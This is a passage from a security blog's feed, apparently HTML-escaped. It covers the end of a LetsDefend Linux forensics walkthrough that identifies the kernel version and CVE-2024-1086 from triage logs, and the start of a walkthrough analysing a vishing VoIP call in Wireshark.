calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/5b94e477140e2856720d544ab431425c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-are-the-operating-system-and-its-version-on-the-compromised-server&#34;&gt;Question 6: What are the operating system and its version on the compromised server?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve spent some time analyzing the malicious privilege escalation exploit — now it&amp;rsquo;s time to collect information about the victim&amp;rsquo;s operating system environment. This can help us understand whether the system was running a version of the OS that may have been vulnerable to a specific privilege escalation exploit.&lt;/p&gt;&#xA;&lt;p&gt;The first place we&amp;rsquo;ll check is the &lt;code&gt;hostnamectl.txt&lt;/code&gt; log file located in the &lt;code&gt;live_response/network&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;491&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/2cf711a073a7c04002cca7d13231d132_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The logged output of hostnamectl&lt;/p&gt;&#xA;&lt;p&gt;While this log contains some useful details, the OS version listed doesn&amp;rsquo;t match the required answer format. No problem! Let&amp;rsquo;s pivot to a second log file: &lt;code&gt;uname_-a.txt&lt;/code&gt;, found in the &lt;code&gt;live_response/system&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;After opening this file, we can identify a slightly different version of Ubuntu where the output of &lt;code&gt;uname -a&lt;/code&gt; matches the expected answer format for the challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/f0066dd4246a6d25864471ce1de7d78d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The logged output of uname -a&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1641px&#34; data-flex-grow=&#34;683&#34; height=&#34;117&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/277b76f91cbf438fe654dd14e6e8f5f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-kernel-version-of-the-compromised-system&#34;&gt;Question 7: What is the kernel version of the compromised system?&#xA;&lt;/h3&gt;&lt;p&gt;Answering Question 7 can be accomplished the same way we approached the last question. We can identify the kernel version of the compromised system by checking either the &lt;code&gt;hostnamectl.txt&lt;/code&gt; or &lt;code&gt;uname_-a.txt&lt;/code&gt; logs.&lt;/p&gt;&#xA;&lt;p&gt;This time, both logs display the same kernel version, so either one will give us the correct answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;352px&#34; data-flex-grow=&#34;146&#34; height=&#34;545&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/a047fc0e64f750c0d1500150e6d47cc2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the kernel version in the hostnamectl log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/8a1f0961a9f7b9a2dee6dbe8b7ad02e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the kernel version in the uname -a log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/1620332e4b91749499f4c7d053e31327_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-most-recent-cve-number-associated-with-the-vulnerabilities-exploited-in-thisattack&#34;&gt;Question 8: What is the most recent CVE number associated with the vulnerabilities exploited in this attack?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question — and now it&amp;rsquo;s time to put everything we&amp;rsquo;ve learned into practice by identifying the most recent &lt;strong&gt;Common Vulnerabilities and Exposures (CVE)&lt;/strong&gt; number associated with the exploit.&lt;/p&gt;&#xA;&lt;p&gt;To start, let&amp;rsquo;s head back to the &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; entry for the exploit we analyzed in &lt;strong&gt;Question 2&lt;/strong&gt;. You&amp;rsquo;ll notice two CVE tags listed: &lt;code&gt;CVE-2021-4034&lt;/code&gt; and &lt;code&gt;CVE-2024-1086&lt;/code&gt;. Since we&amp;rsquo;re looking for the most recent one, our answer is &lt;strong&gt;CVE-2024-1086&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1440px&#34; data-flex-grow=&#34;600&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/bb70d4a48456d86e32fc16ad84680aff_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the most recent CVE number&lt;/p&gt;&#xA;&lt;p&gt;Great! We&amp;rsquo;ve found our answer. But let&amp;rsquo;s dig a little deeper by checking out the entry for this CVE in the &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;National Vulnerability Database (NVD)&lt;/strong&gt;&lt;/a&gt;. This additional intelligence tells us that we&amp;rsquo;re dealing with a &lt;em&gt;Linux Kernel Use-After-Free&lt;/em&gt; vulnerability, exploitable to achieve local privilege escalation. It affects several versions of the Linux kernel:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;From (including) 6.2 Up to (excluding) 6.6.15&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  title=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NVD&lt;/strong&gt;&#xA;_A use-after-free vulnerability in the Linux kernel&amp;rsquo;s netfilter: nf_tables component can be exploited to achieve local&amp;hellip;_nvd.nist.gov&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This confirms that the kernel version running on the victim&amp;rsquo;s system was outdated and vulnerable. It&amp;rsquo;s a great reminder of the importance of always keeping on top of your patching game.&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s submit our answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/e1a4d0331cf414644a7517ec4bb61ca9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;506px&#34; data-flex-grow=&#34;211&#34; height=&#34;379&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/b0ef798228f8f43928a41c4713abf456_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mission accomplished! By poring over the logs generated by UAC, we were able to identify and correlate key artifacts and uncover a privilege escalation exploit using &lt;em&gt;CVE-2024€“1086&lt;/em&gt;. Now that we&amp;rsquo;ve put our Linux forensics skills into practice and confirmed the malicious activity, it&amp;rsquo;s time to close out this walkthrough of the &lt;em&gt;Kernel Exploit&lt;/em&gt; challenge.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another awesome challenge! I chose this one to start dipping my toes into the world of Linux forensics. Coming from a Windows background, it&amp;rsquo;s definitely a different skillset with a different set of tools. This challenge was a great blend of learning how to work with the &lt;em&gt;UAC&lt;/em&gt; triage utility, exploring Linux artifacts, and leveraging threat intelligence to better understand exploitation and system compromise. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-kernel-exploit-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/kernel-exploit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/kernel-exploit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UAC:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/tclahr/uac&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/tclahr/uac&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UAC Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tclahr.github.io/uac-docs/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tclahr.github.io/uac-docs/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Exploit Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK —Privilege Escalation (TA0004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Systemd:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;National Vulnerability Database (NVD):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — VoIP Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/</link>
            <pubDate>Sun, 11 May 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — VoIP Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--voip-challenge-walkthrough&#34;&gt;LetsDefend — VoIP Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-social-engineering-voip-call-using-wireshark&#34;&gt;Investigating a Social Engineering VoIP Call Using Wireshark&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/voip&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/voip&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/voip&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VoIP&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This week, we&amp;rsquo;re going to dissect Voice Over IP (VoIP) traffic with everyone&amp;rsquo;s favorite packet analysis tool -&lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your close friend James recently received a suspicious phone call from someone claiming to be his bank. The caller asked for sensitive information, making James uneasy. Suspecting a potential Vishing (Voice Phishing) attack, you decide to investigate by capturing and analyzing the VoIP traffic.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Our objective this week is to investigate a network packet capture file containing the contents of a social engineering call received by our friend James to determine the scope of the attack, including the attacker&amp;rsquo;s phone number and what information James divulged. Sounds like fun, right? Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-rtp-packets-were-in-thetraffic&#34;&gt;Question 1: How many RTP packets were in the traffic?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ll kick off our investigation by first extracting the archive file, &lt;code&gt;Bank Incident.7z&lt;/code&gt;, from within the &lt;code&gt;ChallengeFile&lt;/code&gt; directory. Then, double-click &lt;code&gt;Traffic.pcapng&lt;/code&gt; to open it with &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/a&gt;, which we&amp;rsquo;ll use analyze the packet capture data.&lt;/p&gt;&#xA;&lt;p&gt;Once the packet capture is open, we&amp;rsquo;ll focus on determining the number of &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/RTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RTP&lt;/strong&gt;&lt;/a&gt; packets within the capture to answer &lt;strong&gt;Question 1&lt;/strong&gt;. Before searching for the answer, let&amp;rsquo;s take a beat to understand what RTP is from the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/RTP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wireshark Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;RTP, the real-time transport protocol. RTP provides end-to-end network transport functions suitable for applications transmitting real-time data, such as audio, video or simulation data, over multicast or unicast network services.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In the context of our investigation, the RTP packets carry the data content of the VoIP call so determining the total number of packets provides an overview of the call which we&amp;rsquo;ll use later in the investigation.&lt;/p&gt;&#xA;&lt;p&gt;To figure out the total number of RTP packets, we&amp;rsquo;ll adjust the display filter by entering &lt;code&gt;rtp&lt;/code&gt; into the search field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/3395ff5c5c74788628f1c8b93f67a44a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the number of captured RTP packets&lt;/p&gt;&#xA;&lt;p&gt;At the bottom of the window, we&amp;rsquo;ll see the total number of packets and a &lt;em&gt;Displayed&lt;/em&gt; value representing the filtered results. This is the value we need to answer &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/9bf949252b0a6477bc85330cef0d0f14_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-did-the-fake-call-with-jamesstart&#34;&gt;Question 2: When did the fake call with James start?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to determine when the vishing call started. While we already learned how to filter the RTP contents in the previous question, we&amp;rsquo;ll need to pivot and adjust our filter for a separate protocol this time — the &lt;a class=&#34;link&#34; href=&#34;https://wiki.wireshark.org/SIP&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Session Initiation Protocol (SIP)&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Because the SIP protocol handles the management functions of VoIP calls including the creation, modification, and termination of the session, and establishing the RTP stream, we can analyze the captured SIP packets to determine the start time of the call.&lt;/p&gt;&#xA;&lt;p&gt;Turning back to our Wireshark window, let&amp;rsquo;s enter &lt;code&gt;sip&lt;/code&gt; into the search field this time. The first displayed packet („–5) is the one we want to focus on. There&amp;rsquo;s just a slight problem: the value in the time column doesn&amp;rsquo;t match the answer format, does it?&lt;/p&gt;&#xA;&lt;p&gt;No problem! We just need to make an adjustment to the &lt;em&gt;Time Display Format&lt;/em&gt;, which we can change by pressing &lt;code&gt;View &amp;gt; Time Display Format &amp;gt; Date and Time of Day&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/fae76a1c1039191ae59a7231ac158c2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Modifying Time Display Format&lt;/p&gt;&#xA;&lt;p&gt;After we change the display format, we&amp;rsquo;ll be able to see the time value in a more readable way that matches the required answer format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/55921972ba9ff7968653262ca102365f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying SIP call initiate time&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/4cccc4dcc745e8e229bf5f70bbe2d9e0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-james-phonenumber&#34;&gt;Question 3: What is the Jame&amp;rsquo;s phone number?&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 3, we need to dive into the SIP traffic to determine James&amp;rsquo; phone number. We&amp;rsquo;ll explore two ways to approach this below.&lt;/p&gt;&#xA;&lt;p&gt;The first method is to follow the SIP stream by right clicking the first packet in the stream, „–5, that we identified in the last question, then selecting &lt;code&gt;Follow &amp;gt; SIP Call&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/97d05abb60edd171a18dc5c4c3505200_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Displaying SIP stream&lt;/p&gt;&#xA;&lt;p&gt;This opens the SIP stream window where we can manually examine the assembled stream and identify the &lt;code&gt;To:&lt;/code&gt; field which represents James as the recipient of the VoIP call by number and IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;225px&#34; data-flex-grow=&#34;93&#34; height=&#34;729&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/fafccd6a9679b4a0092be61e7d6b6464_MD5.png&#34; width=&#34;685&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: SIP stream contents&lt;/p&gt;&#xA;&lt;p&gt;Another easier method to approach this is to leverage the &lt;em&gt;Telephony&lt;/em&gt; tools in Wireshark. To do this, click the &lt;code&gt;Telephony&lt;/code&gt; tab at the top of the Wireshark window, then select &lt;code&gt;VoIP Calls&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/9ddba90663fd278872a1a992ef696157_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: VoIP calls window&lt;/p&gt;&#xA;&lt;p&gt;Using this method provides us with an easy-to-read overview of the call including James&amp;rsquo; phone number within the &lt;code&gt;To&lt;/code&gt; column. We&amp;rsquo;ll continue to use this data to answer the next couple of questions, so keep it handy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/f24d9671fae2daf6c67bfead3e311452_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-how-long-was-the-call-with-thebank&#34;&gt;Question 4: How long was the call with the bank?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re able to answer &lt;strong&gt;Question 4&lt;/strong&gt; by examining the &lt;code&gt;VoIP Calls&lt;/code&gt; interface and checking the &lt;code&gt;Duration&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-voip-challenge-walkthrough/3b0c9b395e2e753fdb11e4cab0f9f32e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying 